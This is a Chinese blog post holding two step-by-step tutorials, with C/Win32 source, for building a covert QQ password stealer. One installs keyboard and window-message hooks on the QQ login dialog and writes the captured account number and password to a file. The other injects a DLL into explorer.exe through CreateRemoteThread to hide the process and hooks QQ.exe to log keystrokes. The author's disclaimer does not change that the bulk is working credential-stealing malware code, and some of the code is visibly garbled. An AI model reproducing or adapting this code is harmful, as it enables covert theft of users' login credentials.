一般的盗密码的软件的软件都是通过监视键盘来获得密码,这样操作比较方便,但是这样也存在一定 问题,密码有的时候不是很准确,因为有的人输入密码并不是从前到后输入,当然这样的人也是少数,盗密码嘛,当然去得到那些比较粗心的人的密码! 通过安装钩子来监视QQ登陆界面就是获得密码的方法,在安装前得先找到登陆窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登陆”就可以开 始处理密码了! 我准备分为四部分来说明这个整个过程:

  (1)寻找QQ登陆界面。
  (2)安装钩子
  (3)钩子函数的解释.
  (4)处理密码。

  以下部分全是使用C语言,文章中我假设读者您是会C/SDK编程的。如果遇到相关的概念性问题,您可以查看MSDN或是上BBS 询问!

  第一部分:(1)寻找QQ登陆界面

  软件运行后,利用安装定时器,每秒在系统找QQ登陆界面,这样基本上只要用户打开了QQ登陆界面就会被抓住其句柄,看下面代码:


  #define ID_MYTIMER 555
  SetTimer(hDlg, ID_MYTIMER, 1000, NULL);

安装好TIMER后,下面是处理主程序的WM_TIMER消息,凡是出现没有定义的变量,您可以理解为是全局变量.


//处理WM_TIMER代码
if (!IsWindow(g_hQQLogin)) //判断g_hQQLogin是否是有效的窗口句柄
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL); //参数为NULL是卸载HOOK,参数为句柄是安装句柄
do
{
//利用FindWindowEx查找QQ登陆窗口,具体参数意思请查MSDN
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //对话框的类都是#32770
//找到类名是#32770后,再在其窗体内找一个具有“ 登录QQ”的BUTTON按纽
//这一句很关键,如果你的QQ登陆窗口上没有" 登录QQ"字样,那么获取密码将失败!
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ");
}
while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ登陆窗口

if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin); //安装HOOK,此函数在DLL文件中 第二部分中介绍
}
}


   上面就是查找QQ登陆窗口句柄的过程,从代码可以看出我用的方法:找一个其子窗体中有一个标题为“ 登录QQ”的BUTTON的对话框(这句话说得有点饶口,这句话如果也看不懂,下面您不用看了:() 我最开始是想利用 FindWindow(NULL,"QQ用户登陆窗口")来查找,但是我用Spy++看了QQ登陆窗口的标题并不是“QQ用户登陆窗口”,而是“乱码”, 其中包含了回车键等特殊字符,于是我用了FindWindowEx().

  第二部分:(2)安装钩子

  找到了QQ登陆窗口后,就成功了一半。

  下面是DLL文件中的安装HOOK的函数SetQQHook(), 为什么要用DLL(动态连接库)?要去“钩”其他进程的消息,得让HOOK函数在DLL中,这样好映射到其地址空间中!


BOOL WINAPI SetQQHook(HWND hQQLogin)
{
//获得登陆框的句柄
BOOL bRet = FALSE;
if (hQQLogin != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //这是什么意思?看MSDN

g_hNum = GetDlgItem(hQQLogin, 138); //不同版本QQ,此处不一样! 得到QQ号的子窗口句柄
g_hPsw = GetDlgItem(hQQLogin, 180);    //不同版本QQ,此处不一样!得到QQ密码的子窗口句柄
if (g_hNum == NULL)
{
MessageBox(NULL,"哭了,号码句柄都没有得到!","郁闷",0);
return FALSE;
}
if(g_hPsw==NULL)
{
MessageBox(NULL,"哭了,密码句柄都没有得到!","郁闷",0);
return FALSE;
}
//分别键盘HOOK,和界面部分消息处理的HOOK
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
// 卸载钩子
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hNum = NULL;
}
return bRet;
}


  上面是安装HOOK部分的代码,就这么简单,下面提到了CallWndProc,KeyboardProc是两个回调函数,是我第三部分要解释的钩子函数。



  第三部分:(3)钩子函数的解释

  CallWndProc,KeyboardProc是两个回调函数的原型和具体代码如下:


// 钩子过程,监视“登陆”的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕获“登陆”按钮
if (p->message == WM_COMMAND && p->wParam ==16032)
//下面个函数是我在第四部分介绍-“处理密码”部分会仔细说明
//当用户点了登陆按钮,说明QQ号码和QQ密码已经填写完毕,当然可以去获得密码了
GetPasswrod();
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}

// 键盘钩子过程,监视“登陆”的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 捕获热键消息,记录键盘的按键盘过程,pmsg是PMSG类型的,i是全局Static类型的
pmsg
.wParam =wParam;
i++;
if (wParam == VK_RETURN) //用户使用键盘“回车”来登陆,用户用了回车后,就可以可以去获得密码了
GetPasswrod();
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}


  在明白了这两个钩子函数后就可以看后期是如何具体处理密码的了,这就是下面的第四部分内容。

  第四部分:(4)处理密码

  如果您读到了此处,我想得暂停一会,先让我来帮你回忆一下前面提到的几个关键的变量

  第一个:QQ号的子窗口句柄 g_hNum
  第二个:QQ密码的子窗口句柄 g_hPsw //此部分暂时不使用,下面
  第三个:存键盘按键的 pmsg

  上面三变量分别出现在第二部分和第三部分,都是全局共享(shared)变量QQ密码的子窗口句柄 g_hPsw 此部分暂时不使用,你可以看到下面代码中有句用到g_hPsw的语句是我注释掉了的,原因是无法通过那样去得到QQ密码,得处理按键消息。


void GetPasswrod()
{
//声明变量和初始化
HANDLE f;
TCHAR num[13];
TCHAR psw[21];
TCHAR total[50];
int j;
memset(num,0,sizeof(num));
memset(total,0,sizeof(total));
memset(psw,0,sizeof(psw));

DWORD dw;
//得到QQ号的内容,以为有的人的QQ号是在登陆框有记录,其QQ号并是用键盘输入的
GetWindowText(g_hNum,(LPSTR)num,sizeof(num));
//GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不使用,无法这样获得密码

//提取出键盘记录,此内容也许全是密码,也许是QQ号+QQ密码
for(j=0;j 20;j++)
{
psw[j]=(TCHAR)pmsg[j*2].wParam ;
}
psw[j+1]='/0';
//把QQ号码和QQ密码写入C盘password.txt中
f = CreateFile("c://password.txt",
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);

strcat(total,"号码");
strcat(total,num);
strcat(total,"密码:");
strcat(total,psw);
WriteFile(f,&total,sizeof(total),&dw,NULL);
CloseHandle(f);
}


  最后在C盘password.txt也许会出现这样两种情况:


  1)当QQ号是没有用输入,而已用的粘贴或者是电脑以前有记录则是:号码:21728812密码:TEST
  2) 当QQ号是用的键盘输入,电脑没有QQ号记录时则是: 号码:21728812密码:21728812TEST
  可以看出,第2种情况把QQ当成了密码了,所以密码还得减去QQ号。

  特别说明:我这样直接处理wParam参数,得到的字符密码全是大写的,具体大小写问题我没有就没有仔细去处理的,功能实现就行了,毕竟我使用他不用来盗密码的!

   上面四部分基本上获得密码的功能介绍完毕。凡是没有介绍的变量皆是全局变量,没有提到的函数 如:GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile() 等皆是Windows API,详细使用说明请查MSDN(
http://www.msdn.com),我提到的“HOOK”,“钩子”是同一个意思,也许有的地方我说的钩子函数,而另外一个地方说的是HOOK函数

   特别说明:上面有具体的运行文件,由于小弟并没有考虑到更多细节,我只是用了“理想”状况下去获得密码,并且或的密码后并没有注重后期密码处理,也许出 现密码大小写不符合或是无法得到密码,写这篇文章意在告诉一些对这方面感到疑惑的朋友基本的原理,和希望和大家交流 ! 
 

 

 

一。先讲几句废话:

经常有听到有朋友QQ被盗的消息,总感觉做出这种行为的人是可鄙的,不就是对QQ窗口进行监视,然后再是记录用户输入的号码和密码,认为没什么了不起。

对 于Windows核心编程,本人还是一只菜鸟,前一段时间把《Windows系统编程》粗略的看一边(当然重点地方仔细的看),由于对于C++有点基础, 感觉学起来比较容易上手。但到了这两天真正实践的时候,遇到了各种各样的问题。即使一个小小的问题都足以让我这只菜鸟郁闷老半天。直到此时,在完成这个软 件的时候,整理一下思路,不但算是给自己个总结,也跟像我一样的菜鸟们分享一下自己的经验。

二。进入主题:

想必大家都已经知道,这类软件的特点就是在用户不知不觉的时候工作。在任务管理器中是看不到它们的,这就是隐藏了进程。采用插入内核的嵌入方式、利用远程插入线程技术、嵌入DLL线程、或挂接PSAPI等都可以达到效果,哎,既然是个菜鸟就选择一个最简单的来做个实验。

先讲一下思路:需要三个进程A,B,C;两个DLL。

初始进程A,用于在进程B中创建远程线程,创建成功立即退出,不会留给任务管理器任何捕捉它的机会(你根本来不及观察)。

进程B作为远程线程的寄主,选择的时候应该是那些系统中必须执行的进程,比如EXPLORER.EXE。其中的远程线程用于监视目标进程。

进程C为目标进程在这里也就是QQ.EXE。

第一个DLL(InspectQQLandDlg.dll),远程线程的载体。

第二个DLL(MyHook.dll),全局钩子函数的载体。

现在要做是利用进程A把InspectQQLandDlg.dll映射到进程B,同时启动该DLL中的远程线程,再利用该线程监视目标进程(QQ.EXE)QQ登陆窗口,一旦找到,立即把MyHook.dll映射到目标进程来监视用户的输入。

这样也清楚了这个软件设计的总体构架,下面用代码来具体实现。

1。远程线程的创建。先利用进程快照取得目标进程,相对比较简单

HANDLE hSnapshot ;
hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;
if ( hSnapshot == INVALID_HANDLE_VALUE)
{
  return 0;
}

string lpName = "EXPLORER.EXE" ;  //设定需要监视的进程名
PROCESSENTRY32 pe;
pe.dwSize = sizeof ( PROCESSENTRY32 );

for( BOOL fOk = Process32First ( hSnapshot, &pe ) ; fOk;  fOk =
Process32Next( hSnapshot, &pe ) )
{
if ( pe.szExeFile == lpName )
{ 

  //取得宿主进程(EXPLORER.EXE)的句柄
  HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS,
  false, pe.th32ProcessID ) ;

  //取得目标DLL的当前路径(路径可自由设置)
  char szInspectDllPath[128] ;
  GetCurrentDirectory ( 128, szInspectDllPath ) ;
  strcat ( szInspectDllPath, "//debug//InspectQQLandDlg.dll" ) ;
 
  //申请存放文件名的空间
  LPVOID pszInspectDllRemote ;
  int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;
  pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess,
  NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ;

  //把dll文件名写入申请的空间
  WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,
  (LPVOID)szInspectDllPath, InspectDllNameLength, NULL);

  //获取动态链接库函数地址
  HMODULE hModule ;
  hModule = GetModuleHandle ( "kernel32.DLL" ) ;
  LPTHREAD_START_ROUTINE fnStartAddr ;
  fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,
  "LoadLibraryA" ) ;
  
  //创建远程线程
  HANDLE hInspectRemoteThread = NULL ;//存放远程线程句柄
  hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,
  fnStartAddr, pszInspectDllRemote, 0, NULL ) ;

  if( hSnapshot != NULL )
  CloseHandle ( hSnapshot ) ;//关闭进程快照

  CloseHandle ( hRemoteProcess ) ;
  break ;
}
}

2。 此时InspectQQLandDlg.DLL已经被映射到EXPLORER.EXE。此时在InspectQQLandDlg.DLL的 DllMain(千万不要写成DLLMain)接受到DLL_PROCESS_ATTACH消息,但一般来说不因在DllMain中执行过多的功能(借鉴 前人的经验,嘿嘿),于是很容易想到开辟一个新线程。

switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{

  //下面这句会给你创建远程线程成功的提示。
  MessageBox ( 0, "Code Injection success!", "NOTE", MB_OK ) ;

  HANDLE hNewThread = CreateThread ( NULL, 0,ThreadForInspect, NULL, 0, 0 ) ;
 
  break;
}
}

在新线程中要达到的目标只是一个循环,利用while()和循环标志(BOOL)isContinue即可以实现。

在这个远程线程中要完成的第二个任务是找到QQ登陆对话框中关键控件。

关于这点网上有很多资料,利用的是FindWindow和FindWindowEx,这是针对以前的版本。在这里已经无效了,现在QQ在这里下了点工夫,采用的是窗口标题采用随机字符。

就以登陆对话框为例,对话框的类为"#32770",或许许多菜鸟朋友会像我在最初的时候一样,傻傻用FindWindow ("QQ用户登陆","#32770") ;结果什么都没有,哎~~

其实可以通过窗口枚举搞清楚QQ在这里到底做了什么手脚。

BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
{
return false ;
}
char szWindowName[128] ;
ZeroMemory ( szWindowName, 128 ) ;
GetClassName ( hwnd, szWindowClassName, 128 ) ;//取得类名

if ( !strcmp ( szWindowClassName, "#32770" ) )
{

  __asm int 3

}

return true ;
}

利 用上面的程序段,在VC调试器中不断按F5且同时在WATCH中观察szWindowName,很容易发现这个窗口名字符串是由不超过二十个字符组成(多 次观察),但其中的元素只有0X13,0X10,0X32,字符串中的每个位置都是三个元素之一。但在SPY++中窗口名中看起来只不过是“ ”,怎么看都只是几个空格(再提醒一下,不要试图通过复制其中的内容,效果可是无法忍受的,呵呵)

事实上登陆窗口可以通过窗口的许多确定因素来确定,比如窗口风格,窗口ID之类的,这些都可以通过SPY++轻易得到(SPY++,好东西啊),下面也就不多发话了,直接给出各个关键控件的代码。

#define UserNameComboBoxId 0x0000008A  //用户名控件ID
#define PasswordEditId   0x000000B4  //密码控件ID
#define ButtonId    0x00003EA0  //登陆按扭控件ID
#define QQLandDlgMiniStyle 0x94CA00C4  //登陆对话框最小化时的风格
#define QQLandDlgShowStyle 0XB4CA00C4  //登陆对话框在桌面显示时的风格

BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
return false ;

long style = GetWindowLong ( hwnd, GWL_STYLE ) ;
if ( style == QQLandDlgMiniStyle || style == QQLandDlgShowStyle )
{
hQQLand = hwnd ;
EnumChildWindows ( hQQLand, EnumChildWndProc, NULL ) ;

return false ;
}

return true ;
}

BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
return false ;

//取得指定句柄的控件ID
long id= GetWindowLong ( hwnd, GWL_ID ) ;

if (id == UserNameComboBoxId )
{
hUserName = hwnd ;
}

else if ( id == PasswordEditId )
{
hPassword = hwnd ;
}

else if ( id == ButtonId )
{
hLandButton = hwnd ;
}

return true ;
}

到这里终于取得盼望多时的hUserName,hPassword,hButton这三个控件的句柄。~v~

在这里其实可以用

SendMessage ( hUserName, WM_GETTEXT, 128, (LPARAM)szUserName );

取得UserName(QQ号码),但不能取得密码。

可以随便下载个*号密码,再在密码框中输入几个字符,结果可能是失败,不知道QQ做了什么手脚,有机会再好好研究。既然此路不通,菜鸟也自己的办法去达到目标。

现在远程线程的第二个功能(取得关键控件的句柄)已经完成,接下来要做的事是把MyHook.dll映射到QQ.EXE,这样即可实现对用户键盘输入的监视。

只需调用MyHook.dll的接口函数即可

SetHook ( hQQLand, hUserName, hPassword, hLandButton, true ) ;

3。MyHook.dll模块。

EXPORT BOOL WINAPI SetHook ( HWND hQQLand,
  HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall )
{
if ( isInstall )
{
hQQLandDlg = hQQLand ;
hUserNameEdit = hUserName ;
hPasswordComboBox = hPassword ;
hButton = hLandButton ;

DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ;
hHookDll = GetModuleHandle ( "MyHook" ) ;

hKeyboard = SetWindowsHookEx ( WH_KEYBOARD,
  (HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;

hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC,
  (HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ;

  if ( hKeyboard != NULL && hWndProc != NULL )
  return true ;
}

else
{
UnhookWindowsHookEx ( hKeyboard ) ;
UnhookWindowsHookEx ( hWndProc ) ;

hHookDll = NULL ;
hKeyboard = NULL ;
hWndProc = NULL ;
ZeroMemory ( szPassword, 128 ) ;
pszPasswordLen = 0 ;
}

return false ;
}

这个程序段很简单只是通过检测远程线程的输入安装、卸载钩子函数。

如果对钩子函数不清楚的朋友,看一下MSDN或者WIN32函数集就可以了。

这里对QQ登陆对话框线程设置两个钩子,一个键盘钩子函数记录键盘输入;另一个全局消息钩子。

LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )
{

//检测回车键是否被按下
if ( wParam == VK_RETURN && lParam > 0 )
{

//由于钩子函数只是记录对密码框的记录,因而在最后时刻取得号码会是准确的
SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

//此处可以自由处理拦截到的号码和密码(szUserName,szPassword)

//不要忘了变量还原(szUserName,szPassword)
}

if ( lParam > 0 && wParam != VK_RETURN )
{
char KeyName[10] ;
  ZeroMemory ( KeyName, 10 ) ;
GetKeyNameText ( lParam, KeyName, 10 ) ;

if ( strlen ( KeyName ) == 1 )
{
  strcat ( szPassword, KeyName ) ;
  }
}

return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;
}

也由一部分用户是用鼠标点击登陆按扭的,可由下面代码实现

LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam )
{
CWPSTRUCT *p = (CWPSTRUCT*)lParam ;
if ( p->message == WM_COMMAND && p->hwnd == hButton )
{//同理

SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

//这里可添加如何处理密码的语句
}
return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ;
}


上面给出的几段代码可以实现基本的号码和密码记录功能,但对于具体细节的处理(比如用户按退格键或是其他),这些只要考虑仔细就可以了没有什么难度,这里就不说了。

posted on 2014-07-31 14:12  milantgh  阅读(1062)  评论(0编辑  收藏  举报